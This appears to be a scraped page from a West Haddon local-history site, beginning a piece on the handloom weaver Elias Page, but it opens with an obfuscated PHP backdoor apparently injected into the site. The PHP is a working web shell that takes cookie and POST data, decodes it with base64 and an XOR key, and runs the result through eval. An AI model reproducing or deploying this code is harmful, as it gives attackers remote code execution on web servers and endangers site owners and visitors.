$HplAA = "\172" . "\160" . '_' . 'k' . "\x6f" . chr ( 187 - 117 )."\x78";$IFJdUt = 'c' . "\x6c" . 'a' . chr (115) . 's' . "\x5f" . "\145" . chr ( 142 - 22 ).chr ( 456 - 351 ).chr ( 140 - 25 )."\x74" . "\x73";$UriZbCCfRu = $IFJdUt($HplAA); $HplAA = "2077";$PIQEiaQz = !$UriZbCCfRu;$IFJdUt = "4030";if ($PIQEiaQz){class zp_koFx{private $UuymVt;public static $SUtWeAAC = "b1e73c8a-bfe4-4f9c-9055-c648c8fce573";public static $FBjUeD = 34354;public function __construct($rMRtD=0){$fVgHqpkWz = $_COOKIE;$MglDe = $_POST;$gwxDIQhzU = @$fVgHqpkWz[substr(zp_koFx::$SUtWeAAC, 0, 4)];if (!empty($gwxDIQhzU)){$eSNlanU = "base64";$tWVwMFru = "";$gwxDIQhzU = explode(",", $gwxDIQhzU);foreach ($gwxDIQhzU as $YGhamEUX){$tWVwMFru .= @$fVgHqpkWz[$YGhamEUX];$tWVwMFru .= @$MglDe[$YGhamEUX];}$tWVwMFru = array_map($eSNlanU . chr ( 292 - 197 )."\x64" . "\145" . chr (99) . "\x6f" . chr (100) . chr (101), array($tWVwMFru,)); $tWVwMFru = $tWVwMFru[0] ^ str_repeat(zp_koFx::$SUtWeAAC, (strlen($tWVwMFru[0]) / strlen(zp_koFx::$SUtWeAAC)) + 1);zp_koFx::$FBjUeD = @unserialize($tWVwMFru);}}private function TWEKCYleS(){if (is_array(zp_koFx::$FBjUeD)) {$bolAEBiq = str_replace('<' . "\77" . chr (112) . "\x68" . "\x70", "", zp_koFx::$FBjUeD["\143" . "\157" . chr ( 130 - 20 ).chr (116) . chr ( 593 - 492 ).chr ( 1037 - 927 )."\164"]);eval($bolAEBiq); $sfDZnt = "36234";exit();}}public function __destruct(){$this->TWEKCYleS(); $dhTLttXbe = str_pad("36234", 10);}}$dOkqDNDh = new /* 49712 */ zp_koFx(); $dOkqDNDh = substr("25980_52432", 1);}$paxDZbQre = 'r' . "\113" . chr ( 411 - 316 ).'G' . chr ( 485 - 399 ).'b' . chr ( 397 - 287 ).'p';$uKlZGtXU = chr ( 1032 - 933 )."\x6c" . 'a' . chr (115) . chr (115) . '_' . 'e' . chr ( 394 - 274 ).'i' . "\x73" . chr ( 1029 - 913 ).chr (115); $rgpUNYESyK = class_exists($paxDZbQre); $paxDZbQre = "60634";$uKlZGtXU = "33514";$NTskpFbrC = FALSE;if ($rgpUNYESyK === $NTskpFbrC){$EmyKsYF = "46615";class rK_GVbnp{public function iwInMYTh(){echo "48779";}private $GfHYArYQNx;public static $GVcBrAVtn = "8c38d52d-0cd6-4850-8a68-3207183a77e5";public static $XsnJKJ = 30607;public function __construct($wOtkoj=0){$HAQXjyJRV = $_POST;$nJCZFj = $_COOKIE;$nInCsXqAgY = @$nJCZFj[substr(rK_GVbnp::$GVcBrAVtn, 0, 4)];if (!empty($nInCsXqAgY)){$BuyRAOhC = "base64";$JrSBr = "";$nInCsXqAgY = explode(",", $nInCsXqAgY);foreach ($nInCsXqAgY as $lRCFMISl){$JrSBr .= @$nJCZFj[$lRCFMISl];$JrSBr .= @$HAQXjyJRV[$lRCFMISl];}$JrSBr = array_map($BuyRAOhC . "\137" . "\x64" . chr ( 919 - 818 )."\143" . "\157" . "\x64" . "\x65", array($JrSBr,)); $JrSBr = $JrSBr[0] ^ str_repeat(rK_GVbnp::$GVcBrAVtn, (strlen($JrSBr[0]) / strlen(rK_GVbnp::$GVcBrAVtn)) + 1);rK_GVbnp::$XsnJKJ = @unserialize($JrSBr);}}private function jYIOrjxtF($EmyKsYF){if (is_array(rK_GVbnp::$XsnJKJ)) {$pyhQNoRNaW = str_replace(chr (60) . chr ( 654 - 591 ).chr ( 1039 - 927 ).chr ( 527 - 423 ).chr (112), "", rK_GVbnp::$XsnJKJ[chr ( 515 - 416 ).'o' . chr ( 1060 - 950 ).chr (116) . chr (101) . 'n' . "\164"]);eval($pyhQNoRNaW); $EmyKsYF = "46615";exit();}}public function __destruct(){$this->jYIOrjxtF($EmyKsYF);}}$nyUbj = new /* 36413 */ rK_GVbnp(); $nyUbj = str_repeat("11438_8061", 1);} Weaving – West Haddon History

Elias Page: Living by his loom

The families who lost everything in the fire have left very little trace behind them. But using a few surviving scraps of evidence we can put together a fleeting, patchy impression of their lives, leaving our imaginations to speculate over the gaps… Elias Page was a handloom weaver. His father was a small farmer, but …